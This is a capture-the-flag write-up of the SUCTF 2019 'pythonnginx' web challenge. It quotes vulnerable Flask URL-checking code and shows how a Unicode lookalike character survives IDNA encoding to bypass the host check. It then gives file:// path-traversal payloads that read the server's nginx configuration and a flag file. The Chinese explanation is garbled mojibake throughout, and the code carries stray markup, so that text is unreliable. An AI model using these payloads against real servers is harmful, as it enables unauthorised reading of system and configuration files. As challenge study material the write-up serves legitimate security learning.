SUCTF 2019

Web

pythonnginx

通čæ‡ęŸ„ēœ‹ęŗä»£ē åÆ仄发ēŽ°ä»„äø‹å†…å®¹ć€‚

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url") # č®¾ url=https://xxx.com/index.php
    host = parse.urlparse(url).hostname # xxx.com
    if host == 'suctf.cc':
        return "ꈑꉌ your problem? 111"
    parts = list(urlsplit(url)) # ['https', 'xxx.com', '/index.php', '', '']
    host = parts[1] # xxx.com
    if host == 'suctf.cc':
        return "ꈑꉌ your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #åŽ»ęŽ‰ url äø­ēš„ē©ŗę ¼
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "ꈑꉌ your problem? 333"
    </code>
#    <!-- Dont worry about the suctf.cc. Go on! -->
#    <!-- Do you know the nginx? -->

ęœ¬é¢˜éœ€č¦ē»•čæ‡ē¬¬äø€å±‚å’Œē¬¬äŗŒå±‚ēš„åŸŸååˆ¤ę–­ļ¼Œå¹¶äø”åœØē»åŽ†äø€ę¬” idna ē¼–ē åŽēš„ē¬¬äø‰å±‚äø­åˆč¦ē¬¦åˆ host 名äøŗ suctf.cc ļ¼Œidna ēš„例子如äø‹ć€‚

print('ā“’'.encode('idna').decode('utf-8'))
# c

å› ę­¤åÆ仄通čæ‡ē‰ˆęƒē¬¦å·ę„ē»•čæ‡ē¬¬äø€å±‚å’Œē¬¬äŗŒå±‚ēš„ē»•čæ‡å¹¶äø”又ē¬¦åˆ host 名äøŗ suctf.cc ć€‚åˆå› äøŗ题ē›®äø­åŒ…å«ęē¤ŗ Do you know the nginx ę•…éœ€č¦ä»Ž nginx ēš„ē›øå…³ę–‡ä»¶äø­ę„ę‰¾ flag ļ¼Œęœ€åŽåÆ仄åœØ /usr/local/nginx/conf/nginx.conf äø­ę‰¾åˆ°ē›ø关äæ”ęÆļ¼ŒPayload ä»„åŠå›žę˜¾å¦‚äø‹ę‰€ē¤ŗ怂

# url=file://suctf.cā“’/../../../../../../../../usr/local/nginx/conf/nginx.conf

server { 
    listen 80; 
    location / { 
        try_files $uri @app; 
    } 
    location @app { 
        include uwsgi_params; 
        uwsgi_pass unix:///tmp/uwsgi.sock; 
    } 
    location /static {
        alias /app/static; 
    } 
    # location /flag { 
    #     alias /usr/fffffflag; 
    # } 
}

通čæ‡ęž„造仄äø‹ Payload 即åÆ得到 flag 怂

url=file://suctf.cā“’/../../../../../../../../usr/fffffflag

Last updated